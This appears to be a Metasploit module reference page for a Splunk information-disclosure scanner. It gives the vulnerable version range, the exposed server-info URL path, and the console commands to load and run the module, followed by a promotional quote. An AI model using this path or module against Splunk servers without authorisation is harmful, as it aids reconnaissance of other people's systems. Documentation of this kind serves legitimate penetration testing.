Splunk 6.2.3 through 7.0.1 allows information disclosure by appending /__raw/services/server/info/server-info?output_mode=json to a query. Versisons 6.6.0 through 7.0.1 require authentication.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/gather/splunk_raw_server_info
msf auxiliary(splunk_raw_server_info) > show actions
...actions...
msf auxiliary(splunk_raw_server_info) > set ACTION < action-name >
msf auxiliary(splunk_raw_server_info) > show options
...show and set options...
msf auxiliary(splunk_raw_server_info) > run
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security